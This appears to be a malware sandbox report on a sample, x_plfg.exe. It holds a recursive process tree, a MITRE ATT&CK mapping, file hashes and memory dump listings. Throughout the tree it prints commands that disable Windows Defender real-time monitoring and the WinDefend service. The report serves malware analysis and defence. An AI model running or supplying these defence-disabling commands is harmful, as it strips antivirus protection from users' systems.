        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        53⤵
        
        PID:13676
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        54⤵
        
        PID:13844
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        55⤵
        
        PID:14012
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        56⤵
        
        PID:13412
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        57⤵
        
        PID:14568
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        58⤵
        
        PID:15156
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        59⤵
        
        PID:15572
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        60⤵
        
        PID:16032
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        61⤵
        
        PID:17204
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        62⤵
        
        PID:18020
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        63⤵
        
        PID:19688
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        64⤵
        
        PID:21172
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        65⤵
        
        PID:22068
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        66⤵
        
        PID:40080
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        62⤵
        
        PID:39608
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        63⤵
        
        PID:42720
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        60⤵
        
        PID:36288
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        61⤵
        
        PID:39424
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        58⤵
        
        PID:34356
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        59⤵
        
        PID:37764
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        56⤵
        
        PID:32192
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        57⤵
        
        PID:34644
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        54⤵
        
        PID:31364
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        55⤵
        
        PID:34972
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        52⤵
        
        PID:29568
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        53⤵
        
        PID:33676
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        50⤵
        
        PID:30092
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        51⤵
        
        PID:24192
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        48⤵
        
        PID:30076
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        49⤵
        
        PID:32756
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        46⤵
        
        PID:29416
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        47⤵
        
        PID:27496
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        44⤵
        
        PID:7140
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        45⤵
        
        PID:32732
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        42⤵
        
        PID:25148
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        43⤵
        
        PID:32428
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        40⤵
        
        PID:28152
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        41⤵
        
        PID:30136
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        38⤵
        
        PID:27776
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        
        PID:30492
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        36⤵
        
        PID:27464
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        37⤵
        
        PID:29580
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        34⤵
        
        PID:27032
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        35⤵
        
        PID:2600
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        32⤵
        
        PID:26792
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        33⤵
        
        PID:30228
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        30⤵
        
        PID:26308
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:28988
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        28⤵
        
        PID:26124
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        
        PID:30832
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        26⤵
        
        PID:25280
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        
        PID:28432
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        24⤵
        
        PID:24880
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        
        PID:29028
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        22⤵
        
        PID:24604
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:27384
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        20⤵
        
        PID:24476
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:27052
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        18⤵
        
        PID:23608
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:26728
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        16⤵
        
        PID:23048
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:26188
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        18⤵
        
        PID:42028
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        14⤵
        
        PID:23104
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:25788
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        16⤵
        
        PID:40064
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:42740
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        12⤵
        
        PID:23000
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:25956
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        14⤵
        
        PID:40128
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        10⤵
        
        PID:22664
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:27596
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        8⤵
        
        PID:22432
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:25272
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        10⤵
        
        PID:36588
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:38004
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        6⤵
        
        PID:22332
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        
        PID:25428
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        8⤵
        
        PID:36488
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:35716
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
      4⤵
      PID:21600
    - - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        5⤵
        
        PID:26488
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        6⤵
        
        PID:42092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
  2⤵
  PID:17700
- - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    3⤵
    PID:24552
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
      4⤵
      PID:33164
    - - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        5⤵
        
        PID:36224

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Port Monitors

T1547.010

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Image File Execution Options Injection

T1546.012

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Port Monitors

T1547.010

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Image File Execution Options Injection

T1546.012

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_pqws4rre.5yr.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pqws4rre.5yr.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/564-281-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/1132-306-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/1132-295-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/1132-64-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/1364-63-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/1364-283-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/1480-294-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/1480-62-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/1480-300-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/1988-250-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/1988-53-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/2080-57-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/2080-252-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/2184-288-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/2236-60-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/2236-245-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/2832-246-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/2832-58-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/2880-50-0x000001CCDDEE0000-0x000001CCDDF92000-memory.dmp

Download

memory/3200-55-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/3200-249-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/3840-282-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/3840-61-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/4640-256-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/4804-255-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/4840-247-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/5724-66-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/5724-305-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/5724-297-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/6192-59-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/6192-277-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/6256-67-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/6256-307-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/6256-298-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/6476-52-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/6528-27-0x00007FFFA6D50000-0x00007FFFA76F4000-memory.dmp

Download

memory/6528-25-0x00007FFFA6D50000-0x00007FFFA76F4000-memory.dmp

Download

memory/6528-33-0x00007FFFA6D50000-0x00007FFFA76F4000-memory.dmp

Download

memory/6528-7-0x00007FFFA6D50000-0x00007FFFA76F4000-memory.dmp

Download

memory/6528-32-0x00007FFFA6D50000-0x00007FFFA76F4000-memory.dmp

Download

memory/6528-31-0x00007FFFA6D50000-0x00007FFFA76F4000-memory.dmp

Download

memory/6528-30-0x00007FFFA6D50000-0x00007FFFA76F4000-memory.dmp

Download

memory/6528-29-0x00007FFFA6D50000-0x00007FFFA76F4000-memory.dmp

Download

memory/6528-28-0x00007FFFA6D50000-0x00007FFFA76F4000-memory.dmp

Download

memory/6528-6-0x0000015F25830000-0x0000015F25852000-memory.dmp

Download

memory/6528-9-0x00007FFFA6D50000-0x00007FFFA76F4000-memory.dmp

Download

memory/6528-0-0x00007FFFA6EDF000-0x00007FFFA6EE0000-memory.dmp

Download

memory/6528-26-0x00007FFFA6D50000-0x00007FFFA76F4000-memory.dmp

Download

memory/6528-35-0x00007FFFA6D50000-0x00007FFFA76F4000-memory.dmp

Download

memory/6528-24-0x00007FFFA6D50000-0x00007FFFA76F4000-memory.dmp

Download

memory/6528-23-0x0000015F258B0000-0x0000015F258BA000-memory.dmp

Download

memory/6528-22-0x0000015F25C30000-0x0000015F25CE2000-memory.dmp

Download

memory/6528-21-0x0000015F258C0000-0x0000015F258DE000-memory.dmp

Download

memory/6528-14-0x00007FFFA6D50000-0x00007FFFA76F4000-memory.dmp

Download

memory/6528-13-0x00007FFFA6D50000-0x00007FFFA76F4000-memory.dmp

Download

memory/6528-12-0x00007FFFA6D50000-0x00007FFFA76F4000-memory.dmp

Download

memory/6528-11-0x00007FFFA6D50000-0x00007FFFA76F4000-memory.dmp

Download

memory/6528-10-0x00007FFFA6D50000-0x00007FFFA76F4000-memory.dmp

Download

memory/6584-251-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/6584-56-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/6636-54-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/6636-248-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download

memory/6780-65-0x00007FF7FE130000-0x00007FF7FE18D000-memory.dmp

Download